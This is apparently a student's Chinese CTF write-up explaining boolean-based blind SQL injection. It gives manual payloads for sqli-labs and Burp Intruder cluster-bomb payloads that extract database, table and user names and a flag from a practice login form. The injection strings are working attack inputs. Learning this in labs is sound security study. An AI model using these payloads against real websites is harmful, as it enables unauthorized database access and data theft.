周一晚上学长给我们讲了布尔盲注。
布尔盲注
布尔盲注为什么叫布尔盲注,看下概念
盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。
基于布尔的盲注
Web的页面的仅仅会返回True和False。那么布尔盲注就是进行SQL注入之后然后根据页面返回的True或者是False来得到数据库中的相关信息。
明白了,True和False都是布尔类型,这个在Python里会经常用到。
1.布尔盲注利用前提:
页面没有显示位,没有输出SQL语句执行错误信息,只能通过页面返回正常不正常来判断是否存在注入
缺点:速度太慢,消耗大量时间
2.布尔盲注常用函数:
length()函数 返回字符串的长度
ascii( )函数
作用:返回字符串str的字符ASCII码值。如果str是空字符串,返回0.如果string是 NULL,返回NULL。
substr()函数 用来截取字符串,其中有三个参数,可以自定义要截取的字符串,截取的起点位置和截取的长度。
基本概念就说这么多,下面开始实战试试
The fifth
我看到有好几种方法,手工型盲注的,借助工具的等等。这里我都列举下来。
手工注入:
第一步不变,照样是判断闭合符号
?id=1'
根据这里的报错,判断应该是单引号闭合
果然是对的,页面返回了You are in……
代表True,如果没有回显就是False。
第二步:
判断列数
?id=1' order by 3--+
只有三列,还跟之前一样。第四页就没有了。可以自己试一下。这里不再放图了。
第三步:
判断库名的长度
?id=1' and length(database())=8--+
这个就是猜它的库名长度。别问为什么是8。
第四步:
手工注入时可使用例如left((select database()),1)<'t'
这样的比较二分查找方法快速爆破,开始爆库
?id=1' and left((select database()),1)='s'--+
解读下这个句子,left((select database()),1)
意思是数据库的名字从左边数的第一位,上面那个就是判断该数据库的名字第一个字母是不是s,我giao肯定有人不明白为什么要让它等于s,我一开始也不懂,直说吧,我也不是猜的,我是试出来的
不过也不是挨个的傻不拉几的去试,二分法就很好,能减少“工作量”,二分法不明白百度看看吧,
想到这里我就莫名的想笑,有工具不用,非纠结个这,废了我好长时间。
接着试,这个布尔盲注就是一个机器人,只会说是或者不是,
?id=1' and right((select database()),1)='y'--+
事实证明这个可行,就是太费劲,贼费劲。对了,我当时看这个方法的时候,还有一个想法就是,我能不能把这个1换成其他数字,我原本以为它能换,我试了一下,发现不行!!!!!!可能是我的打开方式不对,总之这个是能打开的,我当时的错的操作步骤我忘了,现在,我可以肯定的说,可以。这个手注方法,是我看一个大佬的博客学的,看的很懵逼,因为这位大佬,他没有多加解释,我这种学习CTF两天半的小白看起来很费劲,有好多不理解的地方,有好多为什么想问,我经过好多次的尝试,算是明白啦怎么操作这个语句。一起看下:
?id=1' and left((select database()),2)='se' --+
如果这样回显是正确的。其他的自行拓展。
手注终究是太麻烦了,理解原理就够了,实际做题应该用不上。
?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)='users' --+
limit x,1值得是可以吧x换成其他值,而这个其他值也不是随便改的,最大不能超过你用order by 查出来的那个列数。
疑惑点也解决了,接下来就不详细说了。步骤就都是这样的。
借助工具注入
这个都喜欢,嘿嘿,用burp进行盲注
这个不知道为什么,我的工具抓不到sqli-labs网站的包,总是抓到一些其他的网站,我也是无语了。就试试其他的题。
先随意写账户密码,抓包。
抓到包之后,看到了usename
测试闭合符号
右键单击,选择Send to Repeater
1.单引号
username=0' or 1=1--+
单引号错误,继续试双引号
对了,但是没有flag,也是,如果有的话,那就变成万能密码了!!!
数据库
上面可以证明闭合符号是双引号,
先测试数据库名的长度
username=0" or length(database())>1--+&password=1234
试试其他的,盲注的话,最好用二分法,再试试10
username=0" or length(database())>10--+&password=1234
然后就错了,这个证明没有10大,再试试等于10的情况。
username=0" or length(database())=10--+&password=1234
对了,然后就可以爆库名了
右键单击空白然后Send to intruder
username=0" or (ord(substr(database(),§num1§,1))=§num2§)--+ &password=1234
两个变量,这里Attack type
选择第四个,Cluster bomb
去到Payload页面:
Payload set :1
payload type:Number类型
from:1
To:10
Step:1
第二个类似,from:0
To :127(因为ASCII码表127个)
step:1
回到Positions页面点击Start attack
结果如下:选择length
点击两次就会出现下图的样子
这里百度搜索ASCII码在线转换工具,将这些ASCII码值转换成字母点击直接跳到ASCII码在线转换工具
解码后,得到的值是challenges
下一步:爆表名
username=0" or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),§num1§,1)))=§num2§ --+ &password=
转换成字母就是user_1
爆列名
username=0" or (ascii(substr((select username from user_1 limit 0,1),§num1§,1)))=§num2§--+ &password=
转换后:qwzf
👀学长名字😂
改变limit参数,爆出第二列
转换后:lemon
又一个,好想明白点什么。嘿嘿!
接着爆,因为flag在数据库里
又一个,转换后:admin
看还有没了,好像没了。what???flag哪去了???
那先爆值看看吧。
呃呃呃呃呃…………………………………………
这是啥????
这么多,,,,很可能就是flag了。看一下是啥。
SL{1_@m_B001_Bl1nd_inje4t}出来了,我还犯了个眼瞎的错误,害,不说了,总之又丢人了。